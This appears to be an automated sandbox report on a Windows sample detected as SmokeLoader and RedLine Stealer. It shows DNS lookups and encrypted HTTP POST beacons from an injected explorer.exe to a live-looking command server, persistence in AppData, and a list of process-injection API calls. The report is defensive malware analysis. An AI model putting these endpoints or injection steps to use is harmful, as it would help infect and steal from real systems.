Oct 20, 2024 09:40:37.993104935 CEST	1.1.1.1	192.168.2.4	0x263	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:37.993119955 CEST	1.1.1.1	192.168.2.4	0x263	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:37.993127108 CEST	1.1.1.1	192.168.2.4	0x263	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:37.993135929 CEST	1.1.1.1	192.168.2.4	0x263	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:37.993146896 CEST	1.1.1.1	192.168.2.4	0x263	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.032890081 CEST	1.1.1.1	192.168.2.4	0x2d67	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.032912016 CEST	1.1.1.1	192.168.2.4	0x2d67	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.032924891 CEST	1.1.1.1	192.168.2.4	0x2d67	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.032937050 CEST	1.1.1.1	192.168.2.4	0x2d67	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.053415060 CEST	1.1.1.1	192.168.2.4	0xcd97	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.940843105 CEST	1.1.1.1	192.168.2.4	0x3f1c	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.940856934 CEST	1.1.1.1	192.168.2.4	0x3f1c	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.940874100 CEST	1.1.1.1	192.168.2.4	0x3f1c	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.940882921 CEST	1.1.1.1	192.168.2.4	0x3f1c	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.940891027 CEST	1.1.1.1	192.168.2.4	0x3f1c	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

uepnecxbbbdpiq.org

tnc-corp.ru

strnbrsjeqnhidm.org

amjpnfqmtie.com

lkexyglvlsxrxq.org

kgbmakinbtdtwix.com

roqbxksriohvi.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	55686	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:38:53.869266987 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uepnecxbbbdpiq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 191 Host: tnc-corp.ru
Oct 20, 2024 09:38:53.869303942 CEST	191	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 77 40 b7 e8 Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vuw@JGy{:Gb_u-x?kT`Q90B%HaG}6+e7}+uP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	55718	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:39:14.795099974 CEST	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://strnbrsjeqnhidm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: tnc-corp.ru
Oct 20, 2024 09:39:14.795286894 CEST	176	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 77 43 eb be Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vuwC@uQn4_JB8vOs;(VdVZ(C]0DNTka@ZH3Pw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	55719	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:39:31.911593914 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://amjpnfqmtie.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: tnc-corp.ru
Oct 20, 2024 09:39:31.911611080 CEST	268	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 30 1a ba ac Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vu0a<@v_ui9UZ`8^lN;d5o\nd2~\E}5jR6B~D6rRM=jrPY>(MABa3CK0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	55720	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:39:56.133203030 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lkexyglvlsxrxq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: tnc-corp.ru
Oct 20, 2024 09:39:56.133219004 CEST	317	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 38 00 d1 bb Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vu8ftwwd_L5hE?/juA-tkOwIdJq'C1'K;'K"?))~o0=Da{nb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	54853	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:40:21.077653885 CEST	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kgbmakinbtdtwix.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: tnc-corp.ru
Oct 20, 2024 09:40:21.077682972 CEST	209	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 39 54 d2 ba Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vu9Tu[G_`OD_(U:\|[q5S8\;th{?Qn<!)d&z=U2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	54854	211.171.233.126	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:40:41.913100004 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://roqbxksriohvi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 134 Host: tnc-corp.ru
Oct 20, 2024 09:40:41.913130045 CEST	134	OUT	Data Raw: 3b 6e 22 15 f0 c3 6d 55 dd ad c0 71 0e 70 7d be 77 7f ca 94 69 03 e2 64 0f 7e 7a 90 35 b4 c5 6f e8 5d c1 21 71 6c 26 1d e7 ed 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 23 1b fa bd Data Ascii: ;n"mUqp}wid~z5o]!ql&? 9Yt M@NA .[k,vu#^_>N9ep$@!HXBd

Target ID:	0
Start time:	03:36:58
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\2Qvkmk7HGr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2Qvkmk7HGr.exe"
Imagebase:	0x400000
File size:	376'832 bytes
MD5 hash:	4BB69F9FAD0620ECB64971676B9F2CBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:37:05
Start date:	20/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:37:23
Start date:	20/10/2024
Path:	C:\Users\user\AppData\Roaming\tcgiwaf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\tcgiwaf
Imagebase:	0x400000
File size:	376'832 bytes
MD5 hash:	4BB69F9FAD0620ECB64971676B9F2CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:40:01
Start date:	20/10/2024
Path:	C:\Users\user\AppData\Roaming\tcgiwaf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\tcgiwaf
Imagebase:	0x400000
File size:	376'832 bytes
MD5 hash:	4BB69F9FAD0620ECB64971676B9F2CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.4%
Total number of Nodes:	107
Total number of Limit Nodes:	3

Executed Functions

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction ID: f2d5e20ae79a609852431105b0704d648b73f45673a5aa535929140ce5e9a1ec
Opcode Fuzzy Hash: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction Fuzzy Hash: 42614DB0900209FFEB218F91CC48FAF7BB8EF85710F10012AF952BA1E5D6749941DB25

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction ID: 0dfbee2a1f0830b6acdc9e972913786be015a59f94024eee438c43ca1dd55f4f
Opcode Fuzzy Hash: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction Fuzzy Hash: BA5139B1900249BFEF218F91CC49FEBBFB8EF86714F140159F951AA2A5D670A941CB24

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction ID: 9e9cfe78a9b9fcbe8a20f4c56589f3f995e8910032e3214eb5438fd9bfe06916
Opcode Fuzzy Hash: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction Fuzzy Hash: 855129B1900249BFEF218F91CC48FAFBBB8EF86B15F100159F951AA2A5D7709940CB20

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040317C
NtTerminateProcess.NTDLL ref: 0040318D

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: bb3d83799e525a3431e0f051c565fd2002d42970a2b52bf5f395df3a052ac564
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 9F412732618E0C4FD768EE6CA84966377D5E798311F1A43ABD809D7389EE30D85187C5

Function 00531C87 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00531CAF
Module32First.KERNEL32(00000000,00000224), ref: 00531CCF

Memory Dump Source

Source File: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: b82a74f825a896779aaf3ad3a105d1ddb4c3915e02c155b3b866728b0ce944b1
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F6F06232540B156BD7203BB59C8DB6A7BE8BF49764F101528E642915C0DA70EC464665

Function 0055003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0055024D

Strings

cess, xrefs: 0055018D
kernel32.dll, xrefs: 0055008F, 00550095

Memory Dump Source

Source File: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_550000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 45bb27c3125b16f6db0b06f06b814a4eb305919380205288ee8db3488fa42a7c
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 39526C74A00229DFDB64CF58C995BA8BBB1BF09305F1480DAE94DA7351DB30AE89DF14

Function 00550E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00550223,?,?), ref: 00550E19
SetErrorMode.KERNELBASE(00000000,?,?,00550223,?,?), ref: 00550E1E

Memory Dump Source

Source File: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_550000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 59f4f3660f24c022e483895a9ce12252ed7c3a0652483bba4d3b890b59234470
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 8AD0123114512877D7002AD4DC09BCD7F1CDF05B63F108411FB0DD9080C770994046E5

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction ID: 49835af623e861a6f2ddbc0bf662c5c40176c384461ea98b099af7f339eb22c4
Opcode Fuzzy Hash: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction Fuzzy Hash: 7911DCB234C201EBD6009A84A862E7A3214AB51359F304537FA57B90F2D57D9A13F76F

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction ID: 220a72f44c34cad911d214d6bf830d158092726683e2111099ccb198781fee4b
Opcode Fuzzy Hash: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction Fuzzy Hash: 1311BCB1648204FADA009A849C62E7A3228AB41754F204137BA47B90F1C57DA913EAAF

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction ID: edf3ac2f4a0a3dadc82130375ffc9a201d65d5ca35b25829e414e95522c05f9b
Opcode Fuzzy Hash: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction Fuzzy Hash: AA01C0B174C104EBDB009A84DC62E7A3214AF41704F204537BA57B91F1C53EAA23FB5B

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction ID: c889a794982209429869940d23560ef391d683eb1520a1ae8baa03dfc3eb9000
Opcode Fuzzy Hash: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction Fuzzy Hash: E601E1B1308100EBD7009B849C51ABA3614AF41314F20413BB957790E2C53EAA22EB5B

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction ID: 1aa0efa7bda459d32f82bf33ce90feabc7a2b43109eca8adeaaf204144b81d62
Opcode Fuzzy Hash: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction Fuzzy Hash: C201C0B1708104EBDB009A84DC62E7A3214AF41714F204137BA57791F1C53EAA23FB5B

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

